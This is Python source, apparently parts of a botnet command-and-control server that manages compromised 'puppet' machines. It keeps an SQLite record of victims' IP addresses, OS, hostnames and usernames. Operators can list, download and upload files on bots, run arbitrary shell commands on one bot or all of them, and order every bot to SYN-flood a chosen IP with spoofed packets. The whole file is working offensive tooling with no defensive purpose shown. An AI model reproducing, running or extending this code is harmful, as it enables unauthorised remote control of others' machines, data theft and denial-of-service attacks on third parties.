def receive_file(self): """ Uploads a specified file to the bot and saves it at the specified path """ source_path = input(to_yellow("[ UPLOAD ] Source path: ")) destination_path = input(to_yellow("[ UPLOAD ] Destination path: ")) if source_path == "" or destination_path == "": return if not os.path.exists(source_path): print(to_red(f"\n[ ! ] Invalid source path: {source_path}\n")) return try: with open(source_path, "rb") as file: file_size = os.path.getsize(source_path) file_size = struct.pack(">I", socket.htonl(file_size)) self.socket_fd.send(bytes("download", 'utf-8')) self.socket_fd.send(file_size) len_filename = len(destination_path) len_filename = struct.pack(">I", socket.htonl(len_filename)) self.socket_fd.send(len_filename) self.socket_fd.send(bytes(destination_path, 'utf-8')) file_data = file.read() self.socket_fd.sendall(file_data) file.close() except (FileNotFoundError, socket.error) as error: if "No such file or directory" in error: print(to_red(f"\n[ ! ] File not found: {source_path}\n")) return print(to_red(f"\n[ {self.ip_address} ] Socket error: " f"{error}\n")) return else: print(to_green(f"\n[ {self.ip_address} ] File {source_path} " f"uploaded successfully \n"))
def _disconnect_all_puppets(self): for puppet in self.__connected_puppets: try: puppet.disconnect() except socket.error as error: print(to_red(f"\n[{puppet.ip_address}] {error}\n")) else: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.clear()
def disconnect(self): """ Sets the bot connection status to 0 on database and closes the socket """ self.socket_fd.send(bytes("exit", 'utf-8')) print(to_red(f"\n[ - ] {self.ip_address} disconnected\n")) self.is_connected = 0 self.socket_fd.close()
def _download_from_all(self): """ Downloads specified file from de puppets and saves to a specified output path """ remote_file_path = input(to_yellow("[ DOWNLOAD ] Path to file: ")) local_filename = input(to_yellow("[ DOWNLOAD ] Save as: ")) if os.path.exists(local_filename): print(to_red("\n[ ! ] Invalid output path\n")) return if remote_file_path in ("", ) or remote_file_path in ("", ): return individual_percentage = 100 / len(self.__connected_puppets) total_success_percentage = 0 for puppet in self.__connected_puppets: output_file_name = f'{puppet.ip_address}' + local_filename if os.path.exists(output_file_name): print(to_red(f"\n[ ! ] File exists: {output_file_name}\n")) return puppet.socket_fd.send(bytes("upload", 'utf-8')) puppet.socket_fd.send(bytes(remote_file_path, 'utf-8')) file_size = puppet.socket_fd.recv(256) file_size = int.from_bytes(file_size, "little") file_data = puppet.recv_all(file_size) try: with open(output_file_name, "wb") as file: file.write(file_data) file.close() total_success_percentage += individual_percentage print( to_green(f"\n[ {total_success_percentage:.1f}% ] " f"{output_file_name} downloaded from " f"{puppet.ip_address}\n")) except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"[ {puppet.ip_address} ] {error}")) return except Exception as error: print(to_red(f"\n[ ! ] Can't write to file: {error}\n")) print(to_green(f"[ Success: {total_success_percentage:.1f}% ] "))
def _interact_with_one(self): """ Shows a menu to interact with a chosen puppet (if there is any puppet connected) """ if not self.__connected_puppets: print(to_red("\n[ - ] There is no puppet connected\n")) return puppet = self._choose_puppet_from_list() while True: _interaction_menu() try: command_number = input(to_yellow("[ UNICAST ] >> ")) if command_number == '0': self.__database.update_puppet_status(puppet, new_status=0) puppet.disconnect() self.__connected_puppets.remove(puppet) return elif command_number == '1': puppet.list_files() elif command_number == '2': puppet.send_file() elif command_number == '3': puppet.receive_file() elif command_number == '4': command = input(to_yellow("[ SHELL COMMAND ] Command: ")) puppet.run_command(command) elif command_number == '5': puppet.syn_flood() elif command_number == '9': return elif command_number in ('help', '--help', 'h', '-h', '--h'): _interaction_menu() else: print(to_red("[ ! ] Invalid choice, use 'help'")) except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"\n[{puppet.ip_address}] {error}\n")) return
def __init__(self, filename): """ Args: filename (str): the path for the database """ try: self.conn = sqlite3.connect(filename, check_same_thread=False) self.conn.row_factory = lambda cursor, row: row[0] except sqlite3.Error as error: print(to_red(f"\n[ DATABASE ERROR ] {error} {filename}\n")) else: self.cursor = self.conn.cursor() self.create_table()
def _upload_to_all(self): """ Uploads a specified file to all puppets at a specified path """ source_path = input(to_yellow("[ UPLOAD ] Source path: ")) destination_path = input(to_yellow("[ UPLOAD ] Destination path: ")) if source_path == "" or destination_path == "": return if not os.path.exists(source_path): print(to_red(f"\n[ ! ] File doesn't exists: {source_path}\n")) return individual_percentage = 100 / len(self.__connected_puppets) total_success_percentage = 0 file_size = os.path.getsize(source_path) file_size = struct.pack(">I", socket.htonl(file_size)) for puppet in self.__connected_puppets: try: with open(source_path, "rb") as file: puppet.socket_fd.send(bytes("download", 'utf-8')) puppet.socket_fd.send(file_size) len_filename = len(destination_path) len_filename = struct.pack(">I", socket.htonl(len_filename)) puppet.socket_fd.send(len_filename) puppet.socket_fd.send(bytes(destination_path, 'utf-8')) file_data = file.read() puppet.socket_fd.sendall(file_data) file.close() total_success_percentage += individual_percentage print( to_green( f"\n[ {total_success_percentage:.1f}% ] " f"{source_path} uploaded to {puppet.ip_address}")) except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"\n[ {puppet.ip_address} ] {error}\n")) return print(to_green(f"[ Success: {total_success_percentage:.1f}% ]"))
def _choose_puppet_from_list(self): """ Choose a puppet based on it index on the list of connected puppets Returns: :obj: 'Puppet': chosen puppet """ self._list_connections() while True: try: puppet_id = int(input(to_yellow("[ INTERACT ] Puppet ID: "))) return self.__connected_puppets[puppet_id] except (ValueError, IndexError): print(to_red("\n[ ! ] Invalid choice\n")) continue
def _interact_with_all(self): """ Show a menu to interact with all puppets (if there is any puppet connected) """ if len(self.__connected_puppets) == 0: print(to_red("\n[ - ] There is no puppet connected\n")) return while True: _interaction_menu() try: command_number = input(to_yellow("[ BROADCAST ] >> ")) if command_number == '0': self._disconnect_all_puppets() return elif command_number == '1': self._list_files_for_all() elif command_number == '2': self._download_from_all() elif command_number == '3': self._upload_to_all() elif command_number == '4': command = input(to_yellow("[ SHELL COMMAND ] Command: ")) for puppet in self.__connected_puppets: puppet.run_command(command) elif command_number == '5': for puppet in self.__connected_puppets: puppet.syn_flood() elif command_number == '9': return elif command_number in ('help', '--help', 'h', '-h', '--h'): _interaction_menu() else: print(to_red("\n[ ! ] Invalid choice, use 'help'\n")) except socket.error as error: print(to_red(f"\n[ - ] {error}\n"))
def get_puppets_hashes(self): """ Fetches and returns the hashes of all puppets on database Returns: puppets_hashes (:obj: 'tuple'): tuple containing the hashes of the puppets in database """ try: puppets_hashes = self.cursor.execute( "SELECT HASH FROM puppets;" ).fetchall() return puppets_hashes except sqlite3.Error as error: print(to_red(f"\n [ DATABASE ERROR ] {error}\n"))
def _list_connections(self): """ Lists the connected puppets """ if self.__connected_puppets: print( to_green(f"{'ACTIVE CONNECTIONS'.center(67,'=')}\n\n" f"{'ID':^6}{'IP ADDRESS':^15}" f"{'OS':^10}{'ARCH':^8}" f"{'HOST':^12}{'USER':^12}\n")) for _, puppet in enumerate(self.__connected_puppets): print(f"{_:^6}{puppet.ip_address:^15}{puppet.op_system:^10}" f"{puppet.architecture:^12}{puppet.hostname:^12}" f"{puppet.username:^12}") print() else: print(to_red("\n[ - ] There is no puppet connected\n"))
def disconnect_puppets_on_exit(self): """ Updates a connection status of all puppets to 0 when the server stops """ try: self.cursor.execute( """ UPDATE puppets SET IS_CONNECTED = 0 """ ) except sqlite3.Error as error: print(to_red(f"\n[ DATABASE ERROR ] {error}\n")) else: self.conn.commit()
def get_connected_puppets(self): """ Fetches all puppets on database that are currently connected to the server and returns them in a list of tuples Returns: puppets (:obj: 'list' of :obj: 'tuples'): list of tuples with the connected puppets information (one tuple per puppet) """ try: connected_puppets = self.cursor.execute( "SELECT * FROM puppets WHERE IS_CONNECTED = 1;" ).fetchall() return connected_puppets except sqlite3.Error as error: print(to_red(f"\n [ DATABASE ERROR ] {error}\n"))
def syn_flood(self): """ Floods the specified destination IP with forged packets with a specified spoofed IP address """ try: self.socket_fd.send(bytes("syn flood", "utf-8")) # source_ip = input(to_yellow("[ SYN FLOOD ] Source IP to use: ")) # self.socket_fd.send(bytes(source_ip, "utf-8")) destination_ip = input(to_yellow("[ SYN FLOOD ] Destination IP: ")) self.socket_fd.send(bytes(destination_ip, "utf-8")) except socket.error: print(to_red(f"\n[ {self.ip_address} ] Socket error\n")) else: print(to_green(f"\n[ Flooding ] {self.ip_address}" f" -> {destination_ip}:80\n"))
def add_puppet(self, puppet): """ Inserts the puppet information to the table As some puppet attributes are received as C string (terminated by '\x00'), these strings must be sliced to prevent sqlite store it as BLOB binary data Args: puppet (:obj: 'Puppet'): puppet to be added to database """ try: self.cursor.execute( """ INSERT INTO puppets ( IP_ADDRESS, IS_CONNECTED, AUTORUN_ENABLED, OP_SYSTEM, ARCHITECTURE, KERNEL_RELEASE, HOSTNAME, USERNAME, LAST_CONNECTION, HASH ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?) """, (puppet.ip_address, puppet.is_connected, puppet.autorun_is_enabled, puppet.op_system[:-1], puppet.architecture[:-1], puppet.kernel_release[:-1], puppet.hostname[:-1], puppet.username[:-1], puppet.last_connection, puppet.id_hash) ) except ValueError as error: print(to_red(f"\n[ DATABASE ERROR ] {error} inserting\n")) else: self.conn.commit()
def update_puppet_status(self, puppet, new_status): """ Updates a connection status of the puppet Args: puppet (:obj: 'Puppet'): puppet to be updated new_status (int): the new value for the status """ try: self.cursor.execute( """ UPDATE puppets SET IS_CONNECTED = ? WHERE HASH = ? """, (new_status, puppet.id_hash) ) except sqlite3.Error as error: print(to_red(f"\n[ DATABASE ERROR ] {error} update status\n")) else: self.conn.commit()
def update_all_puppet_info(self, puppet): """ Update all information of the puppet Args: puppet (:obj: 'Puppet'): puppet with new values to replace the old ones """ try: self.cursor.execute( """ UPDATE puppets SET IP_ADDRESS = ?, IS_CONNECTED = ?, AUTORUN_ENABLED = ?, OP_SYSTEM = ?, ARCHITECTURE = ?, KERNEL_RELEASE = ?, HOSTNAME = ?, USERNAME = ?, LAST_CONNECTION = ?, HASH = ? WHERE HASH = ? """, (puppet.ip_address, puppet.is_connected, puppet.autorun_is_enabled, puppet.op_system[:-1], puppet.architecture[:-1], puppet.kernel_release[:-1], puppet.hostname[:-1], puppet.username[:-1], puppet.last_connection, puppet.id_hash, puppet.id_hash) ) except sqlite3.Error as error: print(to_red(f"\n[ DATABASE ERROR ] {error} updating\n")) else: self.conn.commit()
def create_table(self): """ Creates (if not exists) the table to store the puppets infos """ try: self.cursor.execute( """ CREATE TABLE IF NOT EXISTS puppets ( ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, IP_ADDRESS VARCHAR(15), IS_CONNECTED INTEGER, AUTORUN_ENABLED INTEGER, OP_SYSTEM VARCHAR(15), ARCHITECTURE VARCHAR(15), KERNEL_RELEASE VARCHAR(30), HOSTNAME VARCHAR(20), USERNAME VARCHAR(20), LAST_CONNECTION DATE NOT NULL, HASH TEXT NOT NULL UNIQUE ); """) except sqlite3.Error as error: print(to_red(f"\n[ DATABASE ERROR ] {error}\n")) else: self.conn.commit()
def send_file(self): """ Downloads specified file from the bot and writes it to the disk at the specified path """ source_path = input(to_yellow("[ DOWNLOAD ] Path to file: ")) destination_path = input(to_yellow("[ DOWNLOAD ] Save as: ")) if source_path == "" or destination_path == "": return if os.path.exists(destination_path): print(to_red(f"\n[ ! ] File exists: {destination_path}\n")) return self.socket_fd.send(bytes("upload", 'utf-8')) self.socket_fd.send(bytes(source_path, 'utf-8')) file_size = self.socket_fd.recv(1024) buffer = int.from_bytes(file_size, "little") file_data = self.recv_all(buffer) with open(destination_path, "wb") as file: file.write(file_data) file.close() print(to_green(f"\n[ {self.ip_address} ] File {destination_path} " f"downloaded successfully\n"))
def _list_files_for_all(self): """ Lists the files of specified path on all connected puppets """ individual_percentage = 100 / len(self.__connected_puppets) total_success_percentage = 0 directory = input(to_yellow("[ LIST FILES ] Path: ")) for puppet in self.__connected_puppets: try: puppet.socket_fd.send(bytes("list files", 'utf-8')) puppet.socket_fd.send(bytes(directory, 'utf-8')) output = puppet.socket_fd.recv(MAX_COMMAND_OUTPUT_SIZE) output = output.decode('utf-8') total_success_percentage += individual_percentage print( to_green(f"\n[ {total_success_percentage:.1f}% ]" + f"[ Output for {puppet.ip_address}:" f"{directory} ]")) print(f"{output}") except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"[ {puppet.ip_address} ] {error}\n")) continue print(to_green(f"[ Success: {total_success_percentage:.1f}% ] "))